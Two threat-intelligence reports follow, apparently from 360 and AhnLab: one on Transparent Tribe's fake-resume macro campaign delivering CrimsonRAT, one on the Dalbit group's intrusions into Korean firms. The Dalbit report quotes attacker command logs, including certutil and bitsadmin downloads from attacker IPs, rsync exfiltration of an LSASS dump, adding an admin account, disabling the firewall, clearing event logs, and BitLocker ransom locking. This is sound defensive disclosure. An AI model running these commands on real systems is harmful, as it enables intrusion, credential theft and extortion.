Analysis of APT-C-56 (Transparent Tribe) camouflage resume attack campaign mp.weixin.qq.com/s/xU7b3m-L2OlAi2bU7nBj0A Included in the collection #APT 87 piece 26 piece #APT-C-56 Transparent Tribe 7 piece APT-C-56 Transparent Tribe APT-C-56 (Transparent Tribe), also known as Transparent Tribe, APT36, ProjectM, C-Major, is an APT organization with a South Asian background, which has long targeted attacks on the politics and military of neighboring countries and regions (especially India), and has developed its own exclusive Trojan horse CrimsonRAT, and has also been found to widely spread USB worms. It has been targeting India's government, public sector, and various industries including but not limited to healthcare, power, finance, manufacturing, etc. to maintain a high level of information theft activities. Earlier this year, Transparent Tribe and SideCopy were found to be using the same infrastructure and using the same themes to target similar targets, using smuggling intelligence-related decoys to camouflage Indian Defense Ministry emails to launch frequent attacks against India. We also found an attack campaign targeting the foreign trade industry using backlinks. Recently, the 360 Advanced Threat Institute detected a sample of suspected Transparent Tribe's attack activity. We speculate that the previous operation went undetected, and the sample used the bait documentation to eventually release its exclusive Trojan, CrimsonRAT. 1. Analysis of attack activities 1. Attack process analysis Attack campaigns using decoy documents that disguise resumes. Through the release of CrimsonRAT through Dropper, continuous monitoring of users in the middle of the recruitment. 2. Load delivery analysis 1/14 2.1 Disguising Documents The sample name we captured is Sonam kaur_2, the document name is similar to the sample, the file name below is Sonam Singh's document, which also uses the name of the person as the document name, and Sonam Singh's document is a personal work resume. Unlike the same attack we speculate is that the malicious document we capture only contains macro code inside the open window, and once the user inadvertently clicks to start the macro function, the hidden malicious macro code runs automatically. We also found an account with the same name on Twitter, and in the profile we can see that the status location is in Mumbai and is a wealth consulting firm. The Tweet update is as of July 2021, and while this is consistent with our presumed timing of the action, it is not possible to tell if this tweet is related to the documentation. 2/14 The macro code disguises itself as an Mdiaz-related program in the ALLUSERSPROFILE directory, reads hidden data from the specified structure of the malicious document and writes it to a file, which shows that APT-C-56 (transparent tribe) uses simple string concatenation technology to disassemble exe characters to avoid static killing by antivirus engines. 3/14 Launch the malicious PE program that is released, while further reading the normal text document data hidden inside, release it to the worddcs.docx, and finally open this document to disguise and confuse the user. 4/14 2.2 Dropper The released PE file is a .Net Dropper program. First, determine whether a zip file exists, read the resource section and write the data to the file if it does not exist, delete it and write it again. 5/14 Determine whether there is a file with the suffix .ford in the directory, and if so, create a startup file directly. If no suffix is specified, the file goes directly to the subsequent release process. 6/14 Then determine whether there is a backdoor RAT stored in the resource, and if not, download and run it from the C&C through the network connection. 3. Attack component analysis The RAT backdoor released after download disguises itself as the FireFox browser and is the CrimsonRAT that the Transparent Tribe has been maintaining and using. 7/14 The control codes and commands are as follows: directives Control code Enumerate processes gey7tavs 8/14 Upload a GIF thy7umb Enumerate processes pry7ocl Set up auto-start puy7tsrt Download the file doy7wf Set up screenshots scy7rsz Gets the file properties fiy7lsz See screenshots cdy7crgn csy7crgn csy7dcrgn Stop taking screenshots sty7ops Desktop screenshot scyr7en Gets disk information diy7rs Parameter initialization cny7ls Delete the file dey7lt Get file information afy7ile Delete a user udy7lt Search for files liy7stf Get user information iny7fo 9/14 Execute the file ruy7nf Move files fiy7le 2. Attribution research and judgment Based on the similarity of the macro code and CrimsonRAT judging that this is an APT-C-5 6 (Transparent Tribe) attack activity, the sample found this time has many similarities to our previous APT-C-56 (Transparent Tribe) attack analysis report. 1. Analysis related to previous attacks 1.1 Macro code is similar The following figure shows the analysis from the previous disclosure action: The following figure shows the analysis of this attack: 10/14 1.2 Dropper is similar The following figure shows the analysis from the previous disclosure action: 11/14 The following figure shows the analysis of this attack: 2. Difference analysis from previous actions The last campaign released RATs directly from resources. 12/14 The samples found this time were downloaded via a network connection for subsequent RATs. summary The India-Pakistan conflict has always existed because of border, cultural, ethnic, historical and other reasons, and the military and political espionage caused by geopolitical conflicts has always been the main theme of the region. Pakistan's sidecopy group has been imitating 13/14 the Sidewinder attack, and the Indian group will also imitate the transparent tribe's attack. Chaotic situations often represent a contest of economic, military, and cybersecurity capabilities between countries, and it is increasingly important to seize intelligence opportunities through cyberattacks and maintain national security. Appendix IOC fdb9fe902ef9e9cb893c688c737e4cc7 ccc33eff063e44fad0fc3e6057b1bcd9 0f9f34e3e872e57446ffdcfa90a7b954 35e481dec398f206d0be12bc98ccc17a 33ea133da15dc060b7709558c97209d2 860da5abde63a42b3fbd8202d0cff6d2 8e642dd589e53347555a7b2596512ed7 23.254.119.234 6178 360 Advanced Threat Institute 360 Advanced Threat Institute is the core capability support department of 360 Digital Security Group, composed of 360 senior security experts, focusing on the discovery, defense, disposal and research of advanced threats, and has taken the lead in capturing many wellknown 0-day attacks in the world, such as double killing, double star, nightmare formula, etc., exclusively disclosing the advanced actions of many national APT organizations, winning wide recognition inside and outside the industry, and providing strong support for 360 to ensure national network security. 14/14 Dalbit (m00nlight): Chinese Hacker Group s APT Attack Campaign asec.ahnlab.com/en/47455 By kingkimgim February 13, 2023 0. Overview This report is a continuation of the Attackers Using FRP (Fast Reverse Proxy) to Attack Korean Companies post that was uploaded on August 16, 2022 and follows the group s activities since that post. This group has always relied on open-source tools and lacked any distinct characteristics to profile them due to the lack of PDB information. Additionally, the amount of information that could be collected was limited unless the affected Korean companies specifically asked for an investigation since the threat actor s C2 (Command&Control) server abused the servers of the Korean companies. However, after the post was uploaded and a portion of the Korean company servers used by the threat actor were blocked, the threat actor began to use a hosting server called *.m00nlight.top as their C2 and download server. Thus, the ASEC team decided to call this group Dalbit (m00nlight.top) after the Korean word for Moonlight This group has had more than 50 confirmed attack attempts on Korean companies since 2022. Most of the attacked companies were mid to small companies while a portion was major companies. The team has confirmed that 30% of the infected companies were using a certain Korean groupware solution. It is currently difficult to check whether this groupware product has a vulnerability or not, but if a server that is this exposed has a vulnerability, then there is a chance that companies could be affected gravely through the leakage of confidential information and ransomware behavior. Furthermore, this Dalbit group leaves some infected companies as proxies and download servers to later use them as means to communicate with the threat actor upon infiltration of another company. Therefore, we strongly recommend performing an internal security check if users suspect that they have been attacked by this Dalbit group. The team asks that users send a report to AhnLab and take preemptive measures to prevent secondary harm and potential damage to other companies. 1. Affected Korean Companies (Industry Type) Listed below are the 50 companies that were confirmed to have been affected since 2022. Companies that have not been clearly confirmed were excluded from this list. It is possible that more companies could have been affected. Figure 1. Industry types of companies that the Dalbit group tried to attack The following are the descriptions of each industry type. Technology: Companies that handle software or hardware Industrial: Manufacturing companies that handle machinery, paint jobs, steel, metals, etc. Chemical: Cosmetic, pharmaceutical, and plastic companies Construction: Associations or organizations related to construction or construction companies Automobile: Automobile-related manufacturing companies Semiconductor: Semiconductor-related manufacturing companies 1/17 Education: Educational companies Wholesale: Wholesalers Media: Printing and media companies Food: Food companies Shipping: Shipping companies Hospitality: Leisure or tourist accommodation companies Energy: Energy companies Shipbuilding: Shipbuilding companies Consulting: Management consulting companies 2. Flow and Characteristics 2.1. Summary Diagram Figure 2. Summary diagram of Dalbit group s infiltration process The above diagram shows the threat actor s infiltration process into Company B. A brief summary of this flow is in the table below. 1) Initial Access The threat actor targets web servers or SQL servers, which they gain access to by exploiting vulnerabilities. They then attempt to control the systems with tools such as WebShell. 2) Command & Control Various hacking tools are downloaded through WebShell. Hacking tools include various binaries such as privilege escalation tools, proxy tools, and network scanning tools. 3) Proxy & Internal Reconnaissance Proxy: The threat actor installs a proxy tool such as FRP (Fast Reverse Proxy) before attempting to connect to 2-1) a hosting server built by the threat actor or 2-2) another previously infected company s server (Company A) via Remote Desktop (RDP). Internal Reconnaissance: Tools such as network scanning tools and account theft tools are used for internal reconnaissance and obtaining information. 4) Lateral Movement The obtained information is used to move to another connectible server or PC. Afterward, a proxy tool (FRP) is also installed on the PC that has successfully been reached through lateral movement, creating an environment which allows the threat actor to connect via RDP. The required privilege level is then acquired by either adding a specific account or through a credential theft tool like Mimikatz. 5) Impact Ultimately, after the threat actor steals all the information they desire, they use BitLocker to lock certain drives and demand a ransom. Table 1. Explanation of the infiltration summary diagram The following are major characteristics of the Dalbit group. 2.2. Characteristics of Dalbit 2/17 List Description Threat Actor s C2 Servers Download and C2 (Command&Control) servers: Korean company or hosting servers Over half of these servers are exploited Korean company servers *.m00nlight.top or IP format addresses are often used for the hosting servers Attempts Control Through RDP Usually attempts to access RDP after infection Either a proxy tool or Gotohttp is used for RDP connection Proxy Tools Major proxy tools used include FRP, LCX (Htran), NPS, ReGeorg , etc. Add User Account A net command is used to add an account Account credentials (ID: main / PW: ff0.123456 Open-source Tool Mostly uses open-source tools that are publicly available A lot of tools are written in Chinese Evasion VMProtect is used to prevent hacking tools from being detected Security event logs are deleted Extorted Information User account credentials Email information Screen leak Installed program information Table 2. Characteristics of Dalbit 3. Tools Used and Infiltration Process 3.1. Tools and Malware Used WebShell Downloader Godzilla ASPXSpy AntSword China Chopper Certutil (Windows CMD) Bitsadmin (Windows CMD) Privilege Escalation BadPotato JuicyPotato SweetPotato RottenPotato EFSPotato Proxy Internal Reconnaissance ReGeorg FScan NbtScan TCPScan Goon Nltest (Windows CMD) CVE-2018-8639 CVE-2019-1458 Lateral Movement Information Leak and Collection Backdoor File Encryption Evasion PsExec RemCom Winexec Wevtutil (Windows CMD) WMI (Windows CMD) ProcDump Dumpert EML Extractor (created) Mimikatz Rsync CobaltStrike MetaSploit BlueShell Ladon BitLocker (Windows CMD) Security log deletion (Windows CMD) Firewall OFF (Windows CMD) Attempts to delete AV products VMProtect Packing Table 3. Malware and hacking tools used by Dalbit Only one tool for leaking emails seems to have been made by the group themselves. The rest are normal Windows programs or tools that can easily be found online. 3.2. Infiltration Process 3.2.1. Initial Infiltration It is assumed that their attack targets are usually servers with a specific Korean groupware installed on them, email servers (Exchange Server), and SQL servers. The threat actor exploited either file upload vulnerabilities or WebLogic vulnerabilities such as CVE-2017-10271 to upload their WebShell. A portion appeared to have used a SQL server command prompt (xp_cmdshell). The most frequently used WebShells are Godzilla, ASPXSpy, AntSword, and China Chopper in that order. Aside from these, several other WebShells were also found. The installation paths of the WebShells are as follows. 3/17 Job recruitment (File upload vulnerability) D:\WEB\********recruit\css\1.ashx D:\WEB\********recruit\css\4.ashx D:\WEB\********recruit\common\conf.aspx File upload vulnerability D:\UploadData\***********\****_File\Data\Award\1.ashx D:\UploadData\***********\****_File\Data\Award\2.aspx D:\UploadData\***********\****_File\Data\Award\3.aspx D:\**WebService\********\*****Editor\sample\photo_uploader\File\conf.aspx D:\**WebService\********_ThesisSubmission\Include\file.aspx Certain groupware D:\Web\(Groupware)\cop\1.ashx D:\Web\(Groupware)\app\4.ashx D:\Web\(Groupware)\bbs\4.asmx D:\Web\(Groupware)\erp\tunnel.aspx (ReGeorg) D:\inetpub\(Groupware)\image\2.asmx D:\inetpub\(Groupware)\image\2.aspx C:\(Groupware)\Web\(Groupware)\cop\conf.aspx C:\(Groupware)\Web\(Groupware)\cop\1.ashx C:\(Groupware)\Web\(Groupware)\cop\1.asmx C:\(Groupware)\Web\(Groupware)\cop\1.aspx Email server (Exchange Server) D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\aa.aspx D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\11.aspx C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_defaultwsdlhelpgenerator.aspx.cdcab7d2.sjx_41yb.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_ldaj2kwn.dll WeblogicD:\***\wls1035\domains\************\servers\*******\tmp\************\uddiexplorer\gcx62x\war\modifyregistryhelp.jsp D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\eee.jsp D:\***\wls1035\domains\************\servers\*******\tmp\************\wls-wsat\zfa3iv\war\error.jsp D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\123.jsp D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\test.jsp D:\Oracle\**********\user_projects\domains\*************\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\aaa.jsp Tomcat C:\(Tomcat)\webapps\dd\sb.jsp C:\(Tomcat)\webapps\ddd\index.jsp C:\(Tomcat)\webapps\docs\update.jsp C:\(Tomcat)\webapps\tmp\shell.jsp Table 4. Paths where WebShells were uploaded 3.2.2. Download The threat actor downloads other hacking tools through default Windows programs. Since WebShells are normally used in infiltration, parent processes, excluding command processes like cmd, are run by web server processes such as w3wp.exe, java.exe, sqlserver.exe, and tomcat*.exe. The downloaded files include privilege escalation tools, proxy tools, and network scanning tools, all of which are required by the threat actor. The download command is as follows. (Additionally, the full addresses of the Korean companies that have been exploited will not be disclosed.) 1) Certutil > certutil -urlcache -split -f hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip c:\programdata\update.exe (frpc) > certutil -urlcache -split -f hxxp://121.167.***[.]***/temp/8.txt c:\programdata\8.ini (frpc.ini) > certutil -urlcache -split -f hxxp://103.118.42[.]208:8080/frpc.exe frpc.exe Table 5. Certutil download log 2) Bitsadmin > bitsadmin /transfer mydownloadjob /download /priority normal hxxp://91.217.139[.]117:8080/calc32.exe c:\windows\debug\winh32.exe (frpc) > bitsadmin /transfer mydownloadjob /download /priority normal hxxp://91.217.139[.]117:8001/log.ini c:\windows\debug\log.ini (frpc.ini) Table 6. Bitsadmin download log 4/17 The hacking tools and malware downloaded by the threat actor were usually found in the following paths. %ALLUSERSPROFILE% %SystemDrive%\temp %SystemDrive%\perflogs %SystemDrive%\nia %SystemDrive%\.tmp %SystemRoot% %SystemRoot%\debug %SystemRoot%\temp Table 7. Major directories used by the Dalbit group Therefore, the files in these paths should be checked if users suspect that they have been infiltrated. 3.2.3. Privilege Escalation and Account Addition The threat actor mainly used Potato (BadPotato, JuicyPotato, SweetPotato, RottenPotato, EFSPotato) and PoC (CVE-2018-8639, CVE-20191458), which has been published on GitHub, for privilege escalation. After privilege escalation, they characteristically add the following account. The below sp.exe is the SweetPotato tool. > sp.exe whaomi (Privilege check) > sp.exe netsh advfirewall set allprofiles state off (Firewall OFF) > sp.exe net user main ff0.123456 /add & net localgroup administrators main /add (Add account) Table 8. SweetPotato usage log The point of focus here is the name of the account added by the threat actor. Threat actor accounts with the name main have been found in other infiltrated company servers. Aside from adding accounts, the threat actor would also use stolen admin accounts. > wmic /node:127.0.0.1 /user:storadmin /password:r*****1234!@#$ process call create cmd.exe /c c:\temp\s.bat Table 9. Admin account execution log 3.2.4. Proxy Settings After infiltrating a server, the threat actor initiates access via proxy to use RDP communications. FRP and LCX were the mainly used proxy tools, and there have been cases where ReGeorg, NPS, or RSOCKS was found in some companies. Additionally, multiple proxy tools including FRP and LCX were found in one area of a certain company that was infiltrated. Multiple FRP configuration files (.ini) would also be discovered in cases where internal propagation had occurred. We believe that the threat actor installs additional FRPs and uses multiple configuration files when an accessible PC has a lot to gain. Furthermore, the LCX used by this group has the same features as the open-source LCX, but its version is not the same as the one uploaded to GitHub, meaning that a binary that was arbitrarily compiled by a Chinese person was used. Proxy tools like FRP and LCX differ in terms of forwarding methods and supported protocols. However, since their differences, actual infection cases, recreation, and network packets have all been covered in the TI report, Analysis Report on Attack Cases Exploiting Various Remote Control Tools, they will not be reiterated in this post. 1) FRP(FAST REVERSE PROXY) FRP configuration files (.ini) were found in all servers and PC devices infiltrated by this group. The following is an actual case of an infiltrated company. Figure 3. FRPC configuration file (m00nlight.top) found in an infiltrated company In particular, the Dalbit group usually used the Socks5 protocol to communicate. The Socks5 protocol is a layer 5 protocol in the 7 OSI layers. It can handle various requests such as HTTP, FTP, and RDP since it is between layer 4 and 7. Therefore, if the threat actor uses a proxy connection tool that can handle Socks5, such as Proxifier, remote control through RDP becomes possible. If a connection can be established to an internal PC, lateral movement can also be achieved. Thus, if the configuration file is set as a Socks5 protocol, the threat actor will have more freedom as additional modifications will no longer be required to handle various requests. 5/17 Figure 4. Example of Socks5 usage The following are FRP filenames and commands used by the threat actor. The list is in a descending order from most to least used. FRP filenames update.exe debug.exe main.exe info.exe Agent.exe frpc.exe test.exe zabbix.exe winh32.exe cmd.exe Table 10. FRP filenames FRP commands > update.exe -c frpc.ini > update.exe -c 8080.ini > update.exe -c 8.ini > info.zip -c frpc__8083.ini > debug.exe -c debug.ini > debug.exe -c debug.log > debug.exe -c debug.txt > frpc.exe -c frpc__2381.ini > cmd.exe /c c:\temp\****\temp\frpc.ini Table 11. FRP execution log In certain companies, the FRP was registered to the task scheduler (schtasks) under the name debug to maintain its persistence. As shown in Table 12, the team confirmed the execution of a registered scheduler. 6/17 > schtasks /tn debug /run Table 12. Task scheduler execution log 2) LCX(HTRAN) Dalbit used an LCX (Htran) binary compiled by a certain Chinese person. This has the same features as the existing binary, but it also includes the nickname of the binary creator. Figure 5. Screen that is displayed upon executing the LCX used by the Dalbit group (By We can confirm through this that the nickname of the person who had created the binary is (QQ:56345566). It is highly unlikely that this developer is the threat actor in question; however, since this binary cannot be downloaded through a simple search online, it is assumed that the threat actor has a connection to China. The installed filenames and executables are as follows: LCX filenames lcx3.exe lcx.exe update.exe Table 13. LCX filenames LCX commands > update.exe -slave 1.246.***.*** 110 127.0.0.1 3389 > lcx3.exe -slave 222.239.***.*** 53 127.0.0.1 3389 Table 14. LCX command log The above LCX C2 is a Korean company server and has been concealed. 3.2.5. Internal Reconnaissance Fscan and NBTScan have been commonly used for network scans, but the usage of TCP Scan and Goon have also been confirmed for some cases. Goon is a network scanning tool made with Golang that not only allows basic port scanning, but scanning for Tomcat, MSSQL, and MYSQL accounts as well. We can see that this tool was also made in Chinese. 7/17 Figure 6. Screen that is displayed upon executing Goon 3.2.6. Information Extortion LSASS Dump information and EML files of certain accounts are usually the information that is stolen. It has been confirmed that installed programs are checked through a WMIC command or a screenshot of the affected PC is sent to the threat actor s server at regular intervals according to the companies. 1) Credential Extraction (LSASS Dump) According to the target, the threat actor would choose to not install Mimikatz and attempt to extract credentials instead. This is a method that dumps the Lsass.exe process. Credential information can be obtained from a PC with tools like Mimikatz or Pypykatz since they can be found within the dump file. Additionally, a detailed explanation of Mimikatz can be found in the TI report, Analysis Report on Internal Web Spreading Methods Using Mimikatz The following method is how the threat actor stole credentials without Mimikatz. 1-1) Dumpert Open-source Dumpert is an API hooking evasion tool that operates according to the target OS system and uses the MiniDumpWriteDump() API to dump the lsass.exe process. The threat actor modified the code to change the path of the dump file and remove features like log output. Figure 7. Left (open-source Dumpert) vs. right (Dumper used by the Dalbit group) 8/17 The above figure shows that the two versions are the same aside from the different paths and the removal of the output string. The following table displays all of the %SystemRoot%\temp dump file paths that have currently been found. %SystemRoot%\temp\duhgghmpert.dmp %SystemRoot%\temp\dumpert.dmp %SystemRoot%\temp\tarko.dmp %SystemRoot%\temp\lsa.txt Table 15. Lsass dump file paths 1-2 ) Procdump Procdump is a normal utility program provided by Microsoft and offers the process dump feature. The threat actor performed a dump like the one in Figure 8 with this tool. Figure 8. Output upon executing Procdump Afterward, the threat actor used a tool called Rsync (Remote Sync) to send the dump file to their own server. The following is an actual example of information theft attempted by the threat actor. > svchost.exe -accepteula -ma lsass.exe web_log.dmp > rsync -avz port 443 web_log.zip test@205.185.122[.]95::share/web_log.zip Table 16. Procdump execution and rsync usage log 2) Email Extraction Figure 9. Screen displayed upon executing email extraction tool This sample is an email extraction tool developed with Golang and presumably the only known tool developed by the threat actor themselves. This tool offers the ability to target a company s Exchange email server and extract a specific account s email with EWS (Exchange Web Service) as an EML file. Arguments include the Exchange server address, account name, NTLM password hash of said account, date and time, etc. When launched, the tool extracts every email from the mailboxes of the target account according to the time received as an argument and saves them as an EML file. For reference, the PDB information of this binary is fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff and is meaningless. 9/17 Figure 10. PDF information of the email extraction tool 3) Screen Leak The threat actor sent screenshots from certain PCs to their own server. While a binary that takes screenshots of the current screen has not been found as of yet, the threat actor s server where the infected PC s screenshots were being sent has been discovered. Screenshots from a certain company s infiltrated PC sent pictures every 5-10 seconds. Outgoing server of threat actor s screenshots: hxxp://91.217.139[.]117:8080/1.bat 10/17 Figure 11. Actual PC screenshot sent from a certain affected company Only images were sent. The PC could not be controlled remotely and no audio was outputted either. Also, the threat actor s server (91.217.139[.]117) where the screenshots were being sent was also being used as a download server for another company. >certutil -urlcache -split -f hxxp://91.217.139[.]117:8080/calc32.exe >certutil -split -urlcache -f hxxp://91.217.139[.]117:8443/log.ini c:\temp >bitsadmin /transfer mydownloadjob /download /priority normal hxxp://91.217.139[.]117:8080/calc32.exe c:\windows\debug\winh32.exe (frpc) >bitsadmin /transfer mydownloadjob /download /priority normal hxxp://91.217.139[.]117:8001/log.ini c:\windows\debug\log.ini (frpc.ini) Table 17. A different log from the threat actor s server (91.217.139[.]117) 4) Lookup Installed Programs and Login Information The threat actor used a WMIC command to check installed programs. > wmic product get name,version Table 18. How the threat actor looked up installed programs 11/17 Figure 12. List of installed programs and command example (WMIC) Furthermore, the domain account credentials that caused certain event IDs to occur in the event log were collected. The created file is saved in c:\temp\EvtLogon.dat. Event ID Meaning 4624 Login successful 4768 Kerberos authentication request 4776 NTLM authentication attempt Table 19. Meanings of the event IDs used by the threat actor > wevtutil qe security /q: Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]] /f:text /rd:true >> c:\temp\EvtLogon.dat Table 20. wevtutil command log 3.2.7. File Encryption Details about this matter have been covered in a past blog post. The threat actor used BitLocker, a Windows utility, to encrypt certain drives and demand ransoms. Currently, more affected companies are still being found. BitLocker commands C:\Windows\System32\BitLockerWizardElev.exe F:\ T > manage-bde -lock -ForceDismount F: > manage-bde -lock -ForceDismount e: c:\windows\system32\bitlockerwizardelev.exe e:\ t c:\windows\system32\bitlockerwizardelev.exe f:\ u Table 21. BitLocker log Figure 13 is the ransom note used by the threat actor. The threat actor used anonymous mailing services such as startmail.com and onionmail.com. Figure 13. Ransom note that was shown in a previous blog post The command assumed to be for downloading the ransom note is as follows. > certutil -urlcache -split -f hxxp://175.24.32[.]228:8888/readme c:\windows\temp\readme Table 22. Log assumed to display the ransom note being downloaded 3.2.8. Evasion 1) VMPROTECT PACKING When the binary was detected after being uploaded, the threat actor packed it with VMProtect to try and avoid detection. 12/17 Privilege escalation tools %ALLUSERSPROFILE%\badpotatonet4.exe %ALLUSERSPROFILE%\BadPotatoNet4.vmp.exe %ALLUSERSPROFILE%\SweetPotato.exe %ALLUSERSPROFILE%\SweetPotato.vmp.exe %ALLUSERSPROFILE%\jc.vmp.exe %SystemDrive%\nia\juicypotato.vmp1.exe %SystemDrive%\nia\juicypotato.vmp.exe Proxy tools E:\WEB\*****\data\frpc.vmp.exe %ALLUSERSPROFILE%\lcx.exe %ALLUSERSPROFILE%\lcx_VP.exe %SystemDrive%\Temp\lcx.exe %SystemDrive%\Temp\lcx_VP.exe %SystemDrive%\Temp\svchost.exe (FRP) %SystemDrive%\Temp\frpc.vmp.exe Table 23. File packed with VMP 2) Windows Event Log Deletion Using Wevtutil Removal of security event logs > cmd.exe /c wevtutil cl security Removal of application logs > cmd.exe wevtutil.exe el > cmd.exe wevtutil.exe cl application Table 24. Deletion of Windows event logs 3) Firewall OFF sp.exe netsh advfirewall set allprofiles state off Table 25. Firewall OFF 4. Conclusion The Dalbit hacking group attempted attacks against vulnerable Korean company servers, and logs are being reported not only from mid-sized and smaller businesses, but also from some large companies. In particular, 30% of the affected companies were found to have been using a certain Korean groupware product. Moreover, this group uses publicly available tools, from the WebShell used in the early stages to the ransomware used at the end. Among these tools, there is a proxy tool that is assumed to have been obtained from a Chinese community, a tool with Chinese documentation, and a Chinese tool not mentioned in this post. It can be assumed that the threat actor has at least a partial connection with China, considering their frequent usage of Chinese tools. If a server admin suspects that their system has been infected, they are advised to check their IOC along with the aforementioned download paths and account name ( main ) often used by the threat actor. If suspicions are confirmed, then it is advised to immediately report your situation to AhnLab in order to minimize additional harm. Furthermore, admins should prevent vulnerability attacks by updating their servers to the newest version for vulnerability patches, and maintenance is especially needed for servers that are open externally but not managed. 5. IOC For reference, the IP addresses of Korean company servers abused by the threat actor will not be disclosed on the ASEC blog. Mitre Attack Execution Persistence Privilege Escalation Credential Access Discovery Defense Evasion Lateral Movement Command and Scripting Interpreter(T1059) Windows Management Instrumentation(T1047) System Service(T1569) Scheduled Task/Job(T1053) Create Account(T1136) Server Software Component(T1505) Account Manipulation(T1098) Access Token Manipulation(T1134) Exploitation for Privilege Escalation(T1068) Credential Dumping (T1003) Remote System Discovery(T1018) Network Service Discovery(T1046) Impair Defenses(T1562) Indicator Removal(T1070) Remote Services(T1021) Lateral Tool Transfer(T1570) Table 26. MITRE Attack 13/17 Detection Names WebShell/Script.Generic (2020.12.11.09) WebShell/ASP.ASpy.S1361 (2021.02.02.03) WebShell/ASP.Generic.S1855 (2022.06.22.03) WebShell/ASP.Small.S1378 (2021.02.24.02) WebShell/JSP.Godzilla.S1719(2021.12.03.00) WebShell/JSP.Chopper.SC183868(2022.10.15.01) WebShell/JSP.Generic.S1363 (2021.01.27.03) Backdoor/Script.Backdoor (2015.01.04.00) WebShell/JSP.Generic.S1956 (2022.11.14.00) Trojan/Script.Frpc (2022.12.17.00) JS/Webshell (2011.08.08.03) HackTool/Win.Fscan.C5334550(2023.01.27.00) HackTool/Win.Fscan.C5230904(2022.10.08.00) HackTool/Win.Fscan.R5229026(2022.10.07.03) Trojan/JS.Agent(2022.03.16.02) Unwanted/Win32.TCPScan.R33304(2012.08.17.00) HackTool/Win.Scanner.C5220929(2022.08.09.02) HackTool/Win.SweetPotato.R506105 (2022.08.04.01) Exploit/Win.BadPotato.R508814 (2022.08.04.01) HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) Exploit/Win.JuicyPotato.C425839(2022.08.04.01) Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) Trojan/Win.Escalation.R524707(2022.10.04.02) Trojan/Win.Generic.R457163(2021.12.09.01) HackTool/Win64.Cve-2019-1458.R345589(2020.07.22.06) Malware/Win64.Generic.C3164061 (2019.04.20.01) Malware/Win64.Generic.C3628819 (2019.12.11.01) Exploit/Win.Agent.C4448815 (2021.05.03.03) Trojan/Win.Generic.C4963786 (2022.02.11.04) Trojan/Win.Exploit.C4997833 (2022.03.08.01) Exploit/Win.Agent.C5224192 (2022.08.17.00) Exploit/Win.Agent.C5224193 (2022.08.17.00) Trojan/Win32.RL_Mimikatz.R290617(2019.09.09.01) Trojan/Win32.Mimikatz.R262842(2019.04.06.00) Trojan/Win.Swrort.R450012(2021.11.14.01) HackTool/Win.Lsassdump.R524859(2022.10.05.00) HackTool/Win.ProxyVenom.C5280699(2022.10.15.01) Unwanted/Win.Frpc.C5222534 (2022.08.13.01) Unwanted/Win.Frpc.C5218508 (2022.08.03.03) Unwanted/Win.Frpc.C5218510 (2022.08.03.03) Unwanted/Win.Frpc.C5218513 (2022.08.03.03) HackTool/Win.Frpc.5222544 (2022.08.13.01) HackTool/Win.Frp.C4959080 (2022.02.08.02) HackTool/Win.Frp.C5224195 (2022.08.17.00) Unwanted/Win.Frpc.C5162558 (2022.07.26.03) Malware/Win.Generic.C5173495 (2022.06.18.00) HackTool/Win.LCX.C5192157 (2022.07.04.02) HackTool/Win.LCX.R432995(2023.01.06.01) HackTool/Win.Rsocx.C5280341(2022.10.15.00) Backdoor/Win.BlueShell.C5272202(2022.10.05.00) Trojan/Win.BlueShell.C5280704(2022.10.15.01) Backdoor/Win.CobaltStrike.R360995(2022.09.20.00) Unwanted/Win.Extractor.C5266516(2022.10.01.00) Trojan/Win.RemCom.R237878(2023.01.07.00) [IOC] MD5 (Excluding normal files) 14/17 WebShell 0359a857a22c8e93bc43caea07d07e23 85a6e4448f4e5be1aa135861a2c35d35 4fc81fd5ac488b677a4c0ce5c272ffe3 c0452b18695644134a1e38af0e974172 6b4c7ea91d5696369dd0a848586f0b28 96b23ff19a945fad77dd4dd6d166faaa 88bef25e4958d0a198a2cc0d921e4384 c908340bf152b96dc0f270eb6d39437f 2c3de1cefe5cd2a5315a9c9970277bd7 e5b626c4b172065005d04205b026e446 27ec6fb6739c4886b3c9e21b6b9041b6 612585fa3ada349a02bc97d4c60de784 21c7b2e6e0fb603c5fdd33781ac84b8f c44457653b2c69933e04734fe31ff699 e31b7d841b1865e11eab056e70416f1a 69c7d9025fa3841c4cd69db1353179cf fca13226da57b33f95bf3faad1004ee0 af002abd289296572d8afadfca809294 e981219f6ba673e977c5c1771f86b189 f978d05f1ebeb5df334f395d58a7e108 e3af60f483774014c43a7617c44d05e7 c802dd3d8732d9834c5a558e9d39ed37 07191f554ed5d9025bc85ee1bf51f975 61a687b0bea0ef97224c7bd2df118b87 (omitted) Privilege Escalation 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 ab9091f25a5ad44bef898588764f1990 4bafbdca775375283a90f47952e182d9 0311ee1452a19b97e626d24751375652 acacf51ceef8943f0ee40fc181b6f1fa 3cbea05bf7a1affb821e379b1966d89c 10f4a1df9c3f1388f9c74eb4cdf24e7c b5bdf2de230722e1fe63d88d8f628ebc edb685194f2fcd6a92f6e909dee7a237 e9bd5ed33a573bd5d9c4e071567808e5 fbae6c3769ed4ae4eccaff76af7e7dfe 937435bbcbc3670430bb762c56c7b329 fd0f73dd80d15626602c08b90529d9fd 29274ca90e6dcf5ae4762739fcbadf01 784becfb944dec42cccf75c8cf2b97e3 7307c6900952d4ef385231179c0a05e4 bcfca13c801608a82a0924f787a19e1d 75fe1b6536e94aaee132c8d022e14f85 d6cb8b66f7a9f3b26b4a98acb2f9d0c5 323a36c23e61c6b37f28abfd5b7e5dfe 